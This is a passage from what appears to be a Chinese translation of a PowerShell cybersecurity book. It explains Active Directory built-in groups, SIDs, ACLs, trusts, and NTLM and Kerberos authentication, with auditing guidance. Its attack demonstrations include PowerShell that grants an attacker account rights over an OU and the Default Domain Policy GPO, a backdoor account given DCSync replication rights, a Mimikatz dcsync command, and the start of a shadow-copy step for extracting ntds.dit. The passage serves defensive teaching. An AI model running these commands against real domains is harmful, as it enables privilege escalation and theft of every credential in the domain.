该命令查找内置容器中的所有内置账户,并将输出格式化为表格。然而,如果您没有ActiveDirectory模块,您可以使用带有 LDAP 过滤器的[adsisearcher]来完成相同的任务。以下命令将搜索所有带有objectClass=group过滤器的组:
> ([adsisearcher]"(&(objectClass=group)(cn=*))").FindAll()
尽管这些预定义组无法移出内置容器,但可以在其中创建其他账户。
因此,您可能需要微调您的命令,只搜索内置容器中具有众所周知的安全标识符(SID)的账户。
这些内置组是从哪里来的呢?
当这些内置组创建时,微软最初希望为系统管理员简化,以便他们拥有一些预配置的组,可立即用于特定用例。
并且他们确实这样做了!某些组织今天仍在使用这些内置组。那些享受不用复杂查找需要分配给其备份账户的用户特权的公司,可以只需将其账户添加到组中,无需进一步配置。
不过,对手也已经发现了这些组,用于他们自己的目的:这些公开文档的组在世界各地的每个环境中都具有太多特权和相同的众所周知 SID —— 这听起来不是很惊人吗?
这意味着更容易攻击这些内置组:如果对手已经可以硬编码这些公开文档的内置组的众所周知 SID,那么就不需要发现可用的组了。
因此,最初善意的用意,也可以被用来反对最初的目的。不幸的是,太多公司已经开始在其生产环境中使用这些组,因此没有默认删除这些内置组以向下兼容的选项。
然而,从安全角度来看,我建议不再使用所有这些内置组:相反,创建您自己的组(该组没有众所周知的 SID),并且仅授予所需的特权。
以下是合理的内置组,仍然可以和应该使用:
- 企业管理员
一个众所周知的 SID 是 S-1-5-21<根域>-519。
此组成员可以进行跨森林更改。这是森林中权限最高的组。
- 域管理员
一个众所周知的 SID 是 S-1-5-21<域>-512。
此组成员可以管理域。在企业管理员组之后,这是域中权限最高的组。
- 模式管理员
一个众所周知的 SID 是 S-1-5-21<根域>-518。
模式管理员组成员有权对 AD 模式进行修改。
- 内置管理员
一个众所周知的 SID 是 S-1-5-32-544。
该组的成员是本地系统的管理员,这意味着他们也是域中所有域控制器的本地管理员。
具有过多权限且不应再使用的内置组如下:
- 备份操作员
一个著名的 SID 是S-1-5-32-551。
备份操作员具备对计算机上所有文件执行完整备份和恢复的能力,无论文件权限如何。即使他们无法访问受保护的文件,备份操作员仍然可以备份和恢复这些文件。他们还可以登录并关闭他们拥有备份操作员权限的计算机。
- 账户操作员
一个著名的 SID 是S-1-5-32-548。
账户操作员有权限在所有容器和活动目录(AD)中的组织单位(OU)内创建、修改和删除用户、组和计算机账户,但Builtin容器和域控制器 OU 除外。他们不能修改管理员组或域管理员组。
- 打印操作员
一个著名的 SID 是S-1-5-32-550。
打印操作员组的成员有能力管理打印机和文档队列。
- 服务器操作员
一个著名的 SID 是S-1-5-32-549。
服务器操作员可以与服务器交互式登录,创建和删除网络共享,启动和停止服务,备份和恢复文件,格式化硬盘,并关闭计算机。谨慎授予域控制器上的服务器操作员角色。
当然,内置组不仅仅是上述这些,按照最小权限原则谨慎分配这些组是有意义的。
如果你想了解更多关于哪个著名的 SID 属于哪个内置组或账户的信息,可以参考官方文档:docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows。
密码喷射
密码喷射类似于暴力破解攻击,并可以帮助攻击者识别并滥用密码弱的账户。密码喷射是一种缓慢且有条理的方法,攻击者会在大量账户上尝试一系列常见的已知密码。相比之下,暴力破解攻击是攻击者对单个账户快速连续地尝试大量潜在密码。
如果使用猜测的密码成功登录,攻击者便可控制指定账户,并利用该账户横向移动,获取更多的凭证或感兴趣的数据。
有许多开源脚本和模块可供攻击者用于密码喷射攻击,包括以下内容:
缓解措施
在本地 AD 中,检测密码喷射攻击是很难的。虽然你可以在 安全 事件日志中看到失败的登录事件 4625,但如果攻击者足够小心,仍然很难将密码喷射攻击与合法的认证尝试区分开来。许多攻击者也会减慢攻击的频率,以避免账户被锁定,或让环境监控人员不易察觉。
配置密码策略可以帮助强制执行更长且更复杂的密码。一般来说,我建议强制使用更复杂、更长的密码,但避免强制过快的密码更改周期。如果用户每三个月就必须更改一次密码,他们会急于找到一个新的好密码,结果可能会出现像“Spring2023!”或“Summer2023!”这样的密码。
同时,教育你的用户如何使用正确的密码,比如使用密码短语。以下来自流行网站xkcd.com(Randall Munroe 创作)的漫画提供了一个关于好密码与坏密码的生动对比(来源:xkcd.com/936/):
图 6.5 – 来自 xkcd 的“密码强度” (来源: xkcd.com/936/)
AAD 也提供了一些缓解措施来应对密码喷射攻击(尽管这种攻击仍然可能发生)。
访问权限
访问控制可以配置为允许一个或多个用户访问特定资源。根据每个访问级别可以执行的操作,配置和维护访问权限的设置是非常敏感的。
此外,在 AD 中,资源是通过访问控制来限制的。在本节中,我们将了解基本概念以及如何审计访问。
什么是 SID?
SID 是账户的唯一标识符,也是主要的标识符。它在账户的整个生命周期内都不会改变。这使得在不引发任何访问或安全问题的情况下,可以重命名用户。
每个环境中都有一些知名的 SID,唯一的区别是 SID 开头会加上域 ID。
例如,内置域管理员的知名 SID 按照以下模式:S-1-5-21-<域>-500。
最后一组数字表示用户编号:在此案例中,500 是一个保留的、知名的 SID。知名 SID 在所有环境中都是相同的,唯一不同的是域部分。普通账户的 SID 用户编号从 1000 开始。
如果你有兴趣了解更多关于知名 SID 的信息,可以随时查看官方文档:
-
docs.microsoft.com/zh-cn/troubleshoot/windows-server/identity/security-identifiers-in-windows -
docs.microsoft.com/zh-cn/windows/win32/secauthz/well-known-sids
如果我们查看在我的 PSSec.local 演示环境中内建域管理员的 SID,那么它将是以下 SID——其中单独的 域部分已高亮 并以斜体显示:
S-1-5-21-***3035173261-3546990356-1292108877***-500
要查找 AD 用户帐户的 SID,可以使用 Get-ADUser cmdlet,该 cmdlet 是 ActiveDirectory 模块的一部分,如以下截图所示:
图 6.6 – 使用 Get-ADUser 显示 SID
Windows 使用 SID 在访问控制列表中授予或拒绝对特定资源的访问。在这种情况下,SID 用于唯一标识用户或组。
访问控制列表
访问控制列表(ACL)是一个控制对本地 AD 中资源的访问权限的列表。它可以包含各种 访问控制条目(ACE),每个 ACE 包含关于谁可以访问什么的信息——例如,受托人是否可以访问某个资源,访问是否被拒绝,或者甚至是否需要审计?
可保护对象的安全描述符可以有两种类型的 ACL——自主访问控制列表(DACL)和 系统访问控制列表(SACL):
-
DACL:DACL 指定被 ACL 保护的对象上哪些受托人被授予或拒绝访问。 -
SACL:SACL 使管理员能够审计并记录何时有人尝试访问受保护的对象。
如果某个对象没有 DACL,则每个用户都可以完全访问该对象。有关 DACL 和 ACE 在 Windows 中如何工作的更多信息,请参见以下链接:learn.microsoft.com/en-us/windows/win32/secauthz/dacls-and-aces。
访问控制条目
一个 ACE 是一个访问条目,包含以下信息,用于指定谁可以访问哪个资源:
-
受托人:受托人通过其 SID 指定。
-
访问掩码:确定此 ACE 控制的具体访问权限。
-
ACE 类型指示标志。
-
一组位标志,控制从此 ACE 继承的子对象。
有六种类型的 ACE——其中三种类型适用于所有可保护对象,另外三种类型则特定于目录服务对象:
-
访问拒绝 ACE:所有可保护对象都支持。可以在 DACL 中使用,以拒绝对由此 ACE 指定的受托人的访问。
-
访问允许 ACE:所有可保护对象都支持。可以在 DACL 中使用,以允许对由此 ACE 指定的受托人的访问。
-
系统审计 ACE:所有可保护对象都支持。可以在 SACL 中使用,以审计受托人何时使用分配的权限。
-
访问拒绝对象 ACE:特定于目录服务对象。可以在 DACL 中使用,以禁止访问对象上的某个属性或属性集,或限制继承。
-
Access-allowed object ACE:特定于目录服务对象。可以在 DACL 中使用,用于授予对对象的属性或属性集的访问权限,或者限制继承。 -
System-audit object ACE:特定于目录服务对象。可以在 SACL 中使用,用于记录受托方访问对象的属性或属性集的尝试。
还可以使用 PowerShell 的Get-Acl和Set-Acl cmdlet 来管理 ACL:
-
Get-Acl:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl -
Set-Acl:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl
例如,要访问用户账户对象的 ACL,可以使用Get-ACL "AD:$((Get-ADUser testuser).distinguishedname)").access命令。接下来,让我们探索 OU 的 ACL。
OU ACLs
OU 是可以对 AD 对象进行分类的单位。根据配置,不同的账户或组可以拥有对某个 OU 的管理权限,并且可以对它们应用不同的 GPO。
如果 OU 访问权限配置错误,这为攻击者提供了许多可能性。AD 环境中的一个常见攻击向量是通过修改 OU 权限。
修改 OU 权限
通过修改 OU 的权限,攻击者可以控制其中的对象,包括用户和计算机账户,并可能在域内提升权限。
比如,假设一个攻击者已经访问了 AD,并希望授予自己对特定 OU 中的对象的读取和修改权限。假设攻击者事先控制了PSSec\vvega账户,因此他们使用该账户授予自己读取和修改对象的权限,攻击者可以通过访问 OU 的 ACL 来轻松完成此操作,以下是一个示例:
$TargetOU = "OU=Accounts,OU=Tier 0,DC=PSSec,DC=local"
$AttackerIdentity=[System.Security.Principal.NTAccount]'PSSec\vvega'
$Ou = [ADSI]"LDAP://$TargetOU"
$Sec = $Ou.psbase.ObjectSecurity
$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, "ReadProperty, WriteProperty", "Allow")
$Sec.AddAccessRule($Ace)
$Ou.psbase.CommitChanges()
为了授予PSSec\vvega账户对OU=Accounts,OU=Tier 0,DC=PSSec,DC=local组织单位(OU)的控制权限,攻击者首先将其指定为目标 OU。接下来,他们检索该 OU 的对象安全性,创建一个新的ActiveDirectoryAccessRule规则,赋予攻击者读取和写入属性的权限,将访问控制规则添加到对象安全性中,最后提交更改,以授予攻击者对该 OU 的访问权限。
因此,作为蓝队成员,最好定期监控哪些 ACL 已配置,并在攻击者利用它们之前修复这些配置。
监控和枚举 OU 权限
为此,我编写了Get-OuACLSecurity.ps1脚本,可以在本书的 GitHub 仓库中找到:链接。
它依赖于Get-ADOrganizationalUnit和Get-ACL cmdlet。
使用 Get-ADOrganizationalUnit,你可以查看名称、区别名以及链接的 GPO:
> Get-ADOrganizationalUnit -Filter * | Out-GridView
如果你没有可用的 ActiveDirectory 模块,你可以使用 [adsisearcher] 类型加速器执行 LDAP 搜索来查询 AD。这里有一个示例,它使用 objectCategory 过滤器检索当前域中的所有 OU:
> ([adsisearcher]"objectCategory=organizationalUnit").FindAll()
使用Get-Acl,你可以查看每个 OU 配置了哪些访问权限:
> Get-Acl -Path "AD:\$(<DistinguishedName>)").Access
评估你的环境中 OU ACL 安全性最简单的方法是运行 Get-OuACLSecurity.ps1 脚本,并将其导出为 .csv 文件,然后在 Excel 中导入和分析:
> .\Get-OuACLSecurity.ps1 | Export-Csv -Path C:\tmp\OuAcls.csv
再次说明,我已经创建了一个示例分析文件并上传到了我们的 GitHub 仓库:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06/OU-ACLs。
有些访问权限是自动生成的,因此,如果你尚未加强 AD OU 的访问权限,这是你需要尽快完成的任务。
我还在 ACLPivot.xlsx 文件的 OuACLs Pivot Power Pivot 视图中标记了一些账户,如下图所示:
图 6.7 – OU 访问权限的 Power Pivot 分析
例如,在部署 AD 时,像账户操作员或打印操作员这样的访问权限内建组会自动添加。如前一节所述,这些内建组从哪里来?,它们最初是为了让你的工作更轻松,但如今,它们同样让攻击者的工作变得轻松。
也配置了针对所有人的访问权限。这是早期遗留下来的产物,保留它是为了防止连接到旧版的 AD。你应尽早删除这些访问权限。在现代 AD 环境中,仅需已验证用户具有访问权限即可。
最后,如果你在环境中没有运行任何预 Windows 2000 版本的遗留系统,那么你应该删除内建的Pre-Windows 2000 Compatible Access 组。
GPO ACL
GPO 是许多 AD 环境中的关键组件,因为它们用于在整个域中强制执行安全策略和配置。如果攻击者控制了一个 GPO,他们可以利用它将恶意设置传播到整个域,从而可能危及整个网络的安全。
例如,如果攻击者获取了一个有权限修改组策略访问控制的账户,他们可以使用以下演示代码将自己的账户(无论是自己创建的还是之前已经被攻破的)添加进去,从而能够更改 GPO 本身:
$Searcher = [adsisearcher]"(&(objectClass=groupPolicyContainer)(displayName=Default domain Policy))"
$Searcher.SearchRoot = [adsi]"LDAP://CN=Policies,CN=System,DC=PSSec,DC=local"
$Searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$SearchResult = $Searcher.FindOne()
$DistinguishedName = $SearchResult.Properties["distinguishedName"][0]
$TargetGPO = $DistinguishedName
$AttackerIdentity=[System.Security.Principal.NTAccount]'PSSec\vvega'
$Gpo = [ADSI]"LDAP://$TargetGPO"
$Sec = $Gpo.psbase.ObjectSecurity
$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, "GenericAll", "Allow")
$Sec.AddAccessRule($Ace)
$Gpo.psbase.CommitChanges()
代码片段首先使用 ADSI 搜索器查找默认域策略的可分辨名称,并将其设置为权限更改的目标 GPO。然后,它在 $AttackerIdentity 变量中指定攻击者的身份,并创建一个新的访问规则,授予攻击者对目标 GPO 的 GenericAll 权限。GenericAll 权限是一种预定义的安全原则,授予对特定对象或资源的所有可能访问权限;换句话说,它提供对对象的完全控制。
最后,脚本将更改提交到 GPO 的对象安全性,实际上授予攻击者对默认域策略的完全控制。这可能使攻击者修改 GPO 的设置,包括安全设置,并可能接管整个域的控制。
请确保定期检查您域中的 GPO ACL。您可以通过组合 Get-Gpo 和 Get-GPPermission cmdlet 来查看 GPO 访问权限,这些 cmdlet 是 GroupPolicy 模块的一部分。可以通过安装 RSAT 工具来安装 GroupPolicy 模块。有关此模块的更多信息,请访问:docs.microsoft.com/en-us/powershell/module/grouppolicy/。
作为审计 GPO 访问权限的示例,我编写了一个脚本并将其上传到本书的 GitHub 仓库:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter06/Get-GpoAcls.ps1。
类似于 OU ACL 示例,您可以在 Excel 中创建一个数据透视表来评估您环境中的 GPO ACL。
域 ACLs
另一个特别关注的是配置在 AD 域本身的访问权限。这些访问权限控制谁有权限在域中复制对象或执行其他敏感的域操作。domainDNS 访问控制列表(ACLs)至关重要,因为它们赋予域控制器和域管理员在域内执行所有必要功能和操作的能力。
此外,通常在域根目录授予的访问权限会被所有子对象继承;因此,直接在根目录级别调整它们是有意义的。
您可以使用以下命令审计域级别上配置的 ACL:(Get-Acl -Path "AD:\$((Get-ADdomain).DistinguishedName)").Access |** **Out-GridView。
DCSync
DCSync 攻击是一种技术,攻击者模拟域控制器的行为,诱使其他域控制器复制 AD 特定的信息(例如,NT Lan Manager(NTLM)哈希值和其他凭证相关数据)到攻击者。此攻击利用了 Microsoft Directory Replication Service Remote(MS-DRSR)协议,这是 AD 的一个基本且合法的功能,因此无法简单地禁用。
DCSync 攻击允许攻击者模拟域控制器并请求特定用户的密码数据,即使攻击者没有直接访问该用户的计算机或账户。攻击者可以利用这些哈希值在网络中进行横向移动和权限升级。
为了执行此攻击,攻击者必须在域中拥有较高的权限。获取这些权限的一种方式是通过创建后门账户,后门账户可以绕过安全控制并授予攻击者更高的权限。
首先,我们创建一个新用户账户,"backdoor",它应作为攻击者的 backdoor 账户:
$AttackerName = "backdoor"
$AttackerPassword = Read-Host -AsSecureString
$AttackerDescription = "Backdoor account for DCSync attack"
$AttackerPath = "OU=Service Accounts,OU=Tier 0,DC=PSSec,DC=local"
New-ADUser -Name $AttackerName -AccountPassword $AttackerPassword -Description $AttackerDescription -Path $AttackerPath -Enabled $true
接下来,我们创建将在 DCSync 攻击中使用的变量。首先,我们检索之前创建的后门用户的名称,并将其保存在 $AttackerIdentity 变量中,以备后用,使用 NTAccount 类。
现在,我们连接到域的根目录并检索域的区分名称。我们创建一个 $ReplAddGUID 变量来保存“Replicating Directory Changes All”扩展权限的 GUID(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)。我们还创建变量来指定 DCSync 攻击所需的访问控制类型:
$AttackerIdentity = System.Security.Principal.NTAccount.Name).ToString()
$Dsa = [ADSI]"LDAP://rootDSE"
$domainDN = $Dsa.defaultNamingContext
$ReplAllGUID = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$ObjRights = "ExtendedRight"
$ObjControlType = [System.Security.AccessControl.AccessControlType]::Allow
$ObjInherit = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
最后,我们使用攻击者的身份、访问权限、控制类型、继承性以及预定义的 GUID 值创建一个 AD 访问规则。然后,我们使用域名获取域目录对象的安全描述符,将访问规则添加到安全描述符的 DACL 中,并保存对目录对象的更改:
$Ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($AttackerIdentity, $ObjRights, $ObjControlType , $ObjInherit, $ReplAllGUID)
$Dacl = [ADSI]"LDAP://$domainDN"
$Dacl.psbase.ObjectSecurity.AddAccessRule($Ace)
$Dacl.psbase.CommitChanges()
现在,访问权限已相应配置,攻击者可以使用像 Mimikatz 这样的工具提取密码哈希值。
Mimikatz 是一款臭名昭著的工具,最初由 Benjamin Delpy 编写,DCSync 功能由 Vincent le Toux 编写。你可以从 GitHub 下载源代码以及二进制文件:github.com/gentilkiwi/mimikatz/wiki。
一旦下载了二进制文件或使用源代码构建,导航到 mimikatz.exe 文件所在的文件夹并执行它:
> .\mimikatz.exe
Mimikatz 被加载,现在可以输入你的 mimikatz 命令。以下命令允许你执行 DCSync 攻击:
> lsadump::dcsync /all /csv
理解、监控和保护域 ACL 对于防止未授权访问和数据泄露至关重要。然而,考虑到域信任同样重要,若配置和监控不当,域信任可能会带来额外的安全风险。
域信任
信任是将林和域相互连接的好方法。通过信任,你可以访问另一个林的资源,而无需在该林中拥有帐户。关于信任的更多信息可以在这里找到:docs.microsoft.com/en-us/azure/active-directory-domain-services/concepts-forest-trust。
但信任也带来了更多人员访问你资源和可能访问你身份的风险。因此,你应该定期审计可用的信任,并删除不再需要的信任。
使用Get-ADTrust cmdlet,它是ActiveDirectory模块的一部分,你可以查看从你的域到其他域/林建立的信任:
> Get-ADTrust -Filter *
除了使用Get-ADTrust cmdlet,你还可以使用[adsisearcher]加速器来查看已建立的信任,特别是在ActiveDirectory模块不可用的情况下。使用以下命令来过滤受信任的域:
> ([adsisearcher]"(objectClass=trusteddomain)").FindAll()
信任可以有多个方向:
-
双向:两个域/林相互信任。用户可以访问两个域/林中的资源。
-
入站:当前的域/林是受信任的域或林。这意味着来自受信任域/林的用户可以访问当前域/林中的资源,但反之则不行。
-
出站:当前的域/林是被信任的域/林;来自该域/林的用户可以访问另一个被信任的域/林中的资源。
对于单向信任,如果我们说Company域信任PartnerCompany域,这意味着来自PartnerCompany域的定义用户可以访问Company域中的资源,但反之则不行。
当然,这不是 AD 枚举方法的完整列表,但它应该有助于入门。如果你对其他枚举选项感兴趣,以下博客文章是一个很好的资源:adsecurity.org/?p=3719。
凭证窃取
攻击者通常追求的第一个目标之一是提取身份并利用这些身份进行横向移动,从而获取更多身份,并重复此过程,直到找到高度特权的凭证(例如域管理员凭证),然后控制 AD,进而迅速控制整个环境。
在本节中,我们将研究本地 AD 环境中的身份验证基础知识,以及凭证相关攻击的工作原理。
身份验证协议
横向移动、哈希传递、票据传递——这些攻击不仅限于 PowerShell,因此它们不是 PowerShell 特有的问题。但由于 PowerShell 依赖与普通身份验证相同的身份验证机制,因此了解背后的机制非常重要。
当我们谈论身份验证时,我们正在深入探讨协议的内容。阅读完这些章节后,你可能还不是身份验证协议的专家,但你会理解 凭证窃取 攻击是如何可能发生的。
要开始,了解一般存在哪些身份验证协议是很重要的。最常用的协议是 NT LAN Manager** (NTLM**) 和 Kerberos,但在一些环境中,遗留的 LAN Manager 身份验证仍然被允许。
协议方面,我建议使用 Kerberos,并在无法使用时退回到 NTLMv2。在确认这些协议不再在你的环境中使用后,禁用 LAN Manager 和 NTLMv1 的使用(是的,我知道——这可能是一个漫长的过程)。
LAN Manager
LAN Manager 是一个非常古老的协议,它在 1987 年被实现,现在已经过时并被弃用。如果使用 LAN Manager 进行身份验证,攻击者很容易猜测出原始密码:LAN Manager 密码可以在几分钟内被暴力破解。
幸好,古老且脆弱的 LAN Manager 身份验证如今几乎不再使用。当我评估客户环境的安全风险时,我很高兴只在少数环境中发现了这个遗留协议——例如,由于过时的软件或仍在使用且无法更换的旧机器。
在从 LAN Manager 或 NTLMv1 迁移到 NTLMv2 时要小心!
不要在没有适当迁移计划的情况下,仅仅禁止在你的环境中使用 LAN Manager 或 NTLMv1。审计仍在使用 LAN Manager 或 NTLMv1 的系统,然后首先将这些系统迁移到更新的协议,再强制使用 NTLMv2。
我不会详细描述 LAN Manager;它已经过时,真的不应该再使用。如果你在你的环境中发现了 LAN Manager,请确保制定一个计划来降低这个风险,并开始迁移到 NTLMv2。
NTLM
NTLM 是基于挑战/响应的身份验证协议。它是 Windows NT 4.0 及更早版本 Windows 的默认身份验证协议。
NTLM 有两个版本可以使用:NTLMv1 和 NTLMv2。如今 NTLMv1 被认为是不安全的,应该使用 NTLMv2,并建议在企业环境中禁用 NTLMv1,以及 LAN Manager。
如果我们看看基本功能,NTLM 版本 1 和 2 的工作原理非常相似:
-
在登录时,客户端将明文用户名发送到服务器。
-
服务器生成一个随机数(挑战 或 nonce)并将其发送回客户端。
-
用户密码的哈希值用于加密从服务器收到的挑战,并将结果返回给服务器(响应)。
使用 NTLMv1 时,客户端将挑战 原封不动 传送,添加客户端随机数(客户端随机数 + 服务器随机数),使用 数据加密标准(DES)加密后返回。
使用 NTLMv2 时,客户端将其他参数添加到挑战中:(客户端随机数 + 服务器随机数 + 时间戳 + 用户名 + 目标),然后使用 HMAC-MD5 对其进行哈希处理并返回。这些附加参数可以保护会话免受重放攻击(即数据被重复或延迟攻击)。
-
用户尝试登录的服务器(如果是域账户,服务器是域控制器)将以下三项发送给认证服务器,以验证请求的用户是否被允许登录:
-
用户名
-
挑战(发送给客户端的)
-
响应(从客户端接收到的)
-
如果账户是本地账户,服务器将自行验证用户。如果账户是域账户,服务器将挑战和认证响应转发给域控制器进行认证。请注意,本地账户也可以使用 NTLM;在这种情况下,客户端计算机本身也可以是客户端认证的服务器。
-
服务器或域控制器查找用户名并从 安全账户管理器(SAM)数据库中获取对应的密码哈希值,使用该哈希值来加密/哈希挑战。
-
服务器或域控制器将之前计算的加密/哈希挑战与客户端计算的响应进行比较。如果两者相同,则认证成功。
如果您想了解更多关于 LAN Manager 为什么如此脆弱,NTLMv1 和 NTLMv2 之间的区别,以及为什么 LAN Manager 和 NTLMv1 不应再使用,您可以在我写的博客文章中了解更多:miriamxyra.com/2017/11/08/stop-using-lan-manager-and-ntlmv1/。
配置认证协议时要小心
当然,在禁用 LAN Manager 和 NTLMv1 之前,您应该分析这些协议是否仍在使用。在提到的博客文章中,您还将找到有关如何审计哪些协议仍在使用的最佳实践。
如果可能,仅使用 Kerberos 进行域认证。如果无法使用(因为目标不是域成员或没有 DNS 名称),则配置回退到 NTLMv2 并禁止使用 LAN Manager 和 NTLMv1。
Kerberos
在希腊神话中,Kerberos 是一只三头的地狱猎犬,它守卫着冥界的入口,阻止活人进入,也阻止死人离开。
因此,这个著名的地狱犬的名字在认证方面非常贴切,因为认证协议 Kerberos 也由三个阶段组成:使用 Kerberos 进行身份验证需要三个阶段。
虽然 NTLM 是一种挑战-响应认证机制,但 Kerberos 认证是 票证 基于的,并依赖于第三方实体 密钥分发中心(KDC)的验证。
票证是加密的 二进制大对象(blobs)。它们不能被票证持有者解密,而是作为 Kerberos 协议的身份验证证明。只有票证接收者(例如,域控制器)可以使用对称密钥解密票证。
KDC 是负责实施 Kerberos 协议中定义的认证和票证授予服务的 Kerberos 服务。在 Windows 环境中,KDC 已集成在域控制器角色中。
在我们深入了解 Kerberos 认证如何工作之前,我们需要明确一些术语。
Kerberos 术语
以下是一些重要的 Kerberos 术语:
-
票证授予票证(TGT):TGT 可用于从 TGS 获取服务票证。在 认证服务(AS)交换中的初始认证之后,创建一个 TGT。一旦系统中存在 TGT,用户无需再次输入凭证,而可以使用 TGT 来获取未来的服务票证。
-
票证授予服务(TGS):TGS 可以发放服务票证,用于访问其他服务,无论是在 TGS 自身所在的域中,还是访问另一个域中的 TGS。
-
服务票证:服务票证允许访问除 TGS 外的任何服务。
-
权限属性证书(PAC):PAC 提供了票证授权数据字段中特定授权数据的描述。PAC 仅适用于 Microsoft 环境中的 Kerberos 认证。PAC 包含多个数据组件,例如包括用于授权的组成员数据或用于非 Kerberos 认证协议的替代凭证。
-
密钥:密码是密钥的典型例子:它是一个持久的对称加密密钥,在两个实体之间共享(例如,用户和域控制器之间)。
Kerberos 认证的三个阶段
Kerberos 认证由三个阶段组成:AS 交换、TGS 交换和客户端服务器认证。
图 6.8 – Kerberos 认证的三个阶段
第一阶段: AS 交换
该阶段每次登录会话中仅执行一次,并包括两个步骤:
-
KRB_AS_REQ(Kerberos 认证服务请求):客户端向认证服务器(KDC)发起请求,以获取 TGT。TGT 是一个带有时间限制的票证,包含客户端的身份信息和 SID。默认情况下,TGT 可以续期最长 7 天,并且每个 TGT 有效期为 10 小时。 -
KRB_AS_REP(Kerberos 认证服务回复):KDC 创建并返回 TGT 以及与 KDC 通信的会话密钥。TGT 的默认有效期为 10 小时。
第 2 阶段: TGS 交换
第 2 阶段每个服务器会话只执行一次。这意味着只要在同一服务器上请求资源,就不需要重复此步骤。该阶段的两个步骤如下:
-
KRB_TGS_REQ(Kerberos 票证授予服务请求):客户端向 KDC 请求一个 Kerberos TGS。请求包括一个 TGT、一个身份验证器和目标服务器的名称,即服务主体名称(SPN)。身份验证器包括用户的 ID 和时间戳,两者都使用先前共享的会话密钥进行加密。 -
KRB_TGS_REP(Kerberos 票证授予服务回复):在收到 TGT 和身份验证器后,KDC 验证两者的有效性,并继续向客户端发放票证和会话密钥。
身份验证 = 授权
需要牢记的是,身份验证和授权是完全不同的过程。身份验证确认用户身份,而授权则授予用户访问资源的权限。
第 3 阶段: 客户端-服务器认证
在 Kerberos 认证的第三阶段,要求访问某个资源。此步骤每次服务器连接时执行一次。这意味着如果你断开与服务器的连接并重新连接,则需要重复此步骤:
-
KRB_AP_REQ(Kerberos 应用请求):客户端将票证发送给目标服务器,以发起访问请求。随后,服务器解密票证,验证身份验证器,并使用票证中的 SID 为用户生成访问令牌。 -
KRB_AP_REP(Kerberos 应用回复,可选):客户端可以选择请求双向认证,促使目标服务器验证其身份。在这种情况下,目标服务器使用 TGS 提供的会话密钥加密来自身份验证器的客户端计算机时间戳,用于客户端与目标服务器的通信。加密后的时间戳然后返回给客户端进行身份验证。
用户身份验证与服务身份验证
有两种不同类型的票证可用于身份验证:用户身份验证和服务身份验证。如果用户需要进行身份验证,则会发放 TGT。当服务需要进行身份验证时,会发放服务票证,这是一种专为服务身份验证设计的票证。
攻击 AD 认证——凭证窃取和横向移动
随着时间的推移,系统变得更加安全,如今几乎不可能通过足够的零日漏洞来从互联网访问公司,身份变得越来越重要。环境变得越来越安全,因此攻击者寻找最薄弱的环节 - 人类。
在钓鱼攻击中,用户会被诱使打开链接并安装软件,例如启用宏,以便对受感染的系统执行对手的代码。在大多数情况下,被陷害的用户是一个普通用户账户,对攻击者来说并不是很有价值。
因此,攻击者希望获得更有价值的账户,并横向移动以获取更多身份,直到找到一个高度特权的身份 - 对攻击者来说最好的情况是域或企业管理员账户。
无论是横向移动还是凭证盗窃,都依赖于认证协议 Kerberos 和 NTLM 的功能。为了更简便的单点登录(SSO),这两种协议都将它们的认证令牌 - NTLM 哈希或 Kerberos 票据 - 存储在本地安全 机构(LSA)中。
您可以将哈希或票据比喻为一把钥匙:如果钥匙被别人复制,那么这个人现在就可以进入您的房子并随心所欲。尽管 LSA 旨在保护凭据,但票据和哈希可以被提取和重复使用。
但它不仅仅保存在系统上;根据认证方法的不同,NTLM 哈希或 Kerberos 票据也会被转发到远程系统并存储在远程系统的 LSA 中。例如,当使用远程桌面进行身份验证时就会发生这种行为。
PowerShell 的一个重要优势是,如果只使用纯粹的带 WinRM 认证的 PowerShell,那么不会将哈希或票据转发到远程系统。但如果使用带 CredSSP 认证的 PowerShell WinRM,哈希或票据将被转发到远程主机并存储在其 LSA 中。这使得潜在的攻击者也可以从远程系统中提取凭据。
通常,使用 CredSSP 的 PowerShell 用于解决第二次跳转问题。但选择这种方法会暴露您的凭据,因此应避免使用 CredSSP。如果您想了解有关 PowerShell 中第二次跳转问题的更多信息,请参考此文档:docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop。
在当前系统上输入凭据时也要小心。如果您以不同账户运行进程(runas),则需要输入本地存储在 LSA 中的凭据 - 类似于创建计划任务或使用特定账户运行工具作为服务。
现在你已经了解了用于身份验证的协议及其工作原理,让我们来看看针对 AD 身份验证的不同攻击方式。
ntds.dit 提取
ntds.dit是包含 AD 中所有身份和哈希值的数据库。这意味着,如果攻击者获得了该数据库,他们就能控制环境中的所有身份——也就控制了整个环境。
但是,要获得ntds.dit,对手不能仅仅复制该文件,因为它被 AD 持续使用,因此是锁定的。
有许多方法可以访问ntds.dit。一种方法是从备份中提取它——例如,使用卷影复制。这也是为什么严格控制谁能够备份和恢复域控制器数据至关重要的原因。
如果域控制器的硬盘未加密且不位于安全位置,任何有物理访问权限的人都可以提取该数据库。
如果一个域控制器(DC)作为虚拟机托管,并且硬盘没有加密,那么每个虚拟化管理程序管理员都可以提取它——例如,通过使用快照或复制虚拟机并在离线位置恢复它。
如果红队成员直接访问了域控制器(例如通过凭证窃取),也可以通过各种方法提取ntds.dit。在接下来的示例中,我们将展示如何使用 PowerShell 实现这一目标。
由于我们无法在操作系统使用ntds.dit时访问它,因此我们首先使用Invoke-CimMethod创建一个C:\驱动器的影像复制点,并调用Win32_ShadowCopy类的Create方法。影像复制是特定时间点上驱动器内容的副本。
然后我们获取新创建的影像复制路径,并将其保存到$****ShadowCopyPath变量中。
最后,我们在C:\驱动器的根目录下创建一个名为shadowcopy的符号链接,指向影像复制点的路径:
$ShadowCopy = Invoke-CimMethod -ClassName "Win32_ShadowCopy" -Namespace "root\cimv2" -MethodName "Create" -Arguments @{Volume="C:\"}
